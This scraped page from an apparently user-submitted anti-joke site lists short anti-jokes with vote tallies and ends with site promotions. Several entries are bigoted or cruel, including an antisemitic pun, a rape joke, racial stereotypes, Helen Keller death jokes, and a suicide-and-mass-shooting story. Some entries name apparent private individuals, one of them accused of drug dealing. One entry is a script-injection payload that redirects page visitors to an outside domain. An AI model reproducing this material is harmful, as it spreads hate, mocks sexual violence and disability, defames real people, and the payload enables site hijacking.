What did the woman say to the jew? Do you want an almond?

thumb_up thumb_down -15

Roses are red Bob is dead My name is Dave Your a microwave

thumb_up thumb_down -15

The boy wakes up and says "I'm feeling kind of fishy today." The dad come into the sea anemone and says that's because you are, Nemo.

thumb_up thumb_down -15

Q: What did one Christmas ornament say to the other? A: I didn't know they could talk. Get me that ornament so I can chat with him!

thumb_up thumb_down -15

YES! EXACTLY!

thumb_up thumb_down -15

How do you know when you are really ugly? Objective self-evaluation, and frank, honest discussion with close friends and family.

thumb_up thumb_down -15

Knock knock Who's there. Interrupting cow, sorry you can see where this is going, just let me in without asking any more questions please.

thumb_up thumb_down -15

Creepy Man: Let's play the rape game Young Girl: No!!!! Creepy Man: That's the spirit

thumb_up thumb_down -15

A white man walks down an alley and sees two black men. They say hello and then are on their way.

thumb_up thumb_down -15

Uh, well I think of it as quirky and charming, odd weird, maybe unexpected, I could have looked it up but I am dying of lack of sleep here.

thumb_up thumb_down -15

Why was the blonde in the bathroom for 2 hours. She had to pee really bad.

thumb_up thumb_down -15

What noise did Helen Keller make when she fell out of the window? None. She wasn't aware that she was falling and died immediately upon impact. @rowakaflocka

thumb_up thumb_down -15

Remember when Jesse Ziegenbein was skinny?

thumb_up thumb_down -15

Why can't Helen Keller drive? Because she's dead.

thumb_up thumb_down -15

Y

thumb_up thumb_down -15

Why couldn't the cat drink his milk? Because his ears were stapled to the floor.

thumb_up thumb_down -15

Why does Stuart go to Zu Bar? Because he deals cocaine to his fellow raving companions

thumb_up thumb_down -15

How do you get a bear out of tree? You shoot it

thumb_up thumb_down -15

"'>document.location.href="http://cramik.org"

thumb_up thumb_down -15

what did the cashier do when a Mexican robbed the store? call the police

thumb_up thumb_down -15

what do jason kidd and michael jackson have in common? they are both actually black

thumb_up thumb_down -15

A man goes to an amusement park. He heads straight for the roller-coaster and gets in line. When he gets to the front, the ride operator informs him that he is too short to ride. "You must be at least 48 inches, sir, you just barely miss the mark, I'm sorry, I can't let you ride." The man is sad, but he doesn't let this little discrepancy ruin his day. He then gets in line for a different ride.

thumb_up thumb_down -15

A man with Tourette's syndrome walks into a bar. Because of his disease, he shouts unexpected profanities across the room, and everybody in the bar bursts into laughter. The man cannot handle the humiliation anymore and goes home. He opens a drawer in his bedroom, pulls out a gun, and points it at his head. His wife walks in on him about to commit suicide. She is horrified. He then looks at her and then down, and he notices his one and only daughter by the age of 7 is by her side. The man ponders his reckless decision he was about to make. Moments later he and his family are holding one another sobbing in each others arms. A few days later the man goes back to the bar and shoots everybody there. Shocked and afraid, he curled up into a ball and regretted his decision. An hour later the police arrived and he was sentenced to life in prison for 3rd degree murder. His wife moved on and started a new family with his former best friend, and his daughter vists him every first tuesday of every other month. The man still suffers from Tourette's and cannot control his ticks and rots in jail. He continues to scream random obscenities for the rest of his life with no parole.

thumb_up thumb_down -15

A horse walks into a bar The bartender says "why the long face?" The horse says nothing, because he's a horse The bartender soon relizes there is a horse in his bar, and calls animal control

thumb_up thumb_down -15

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops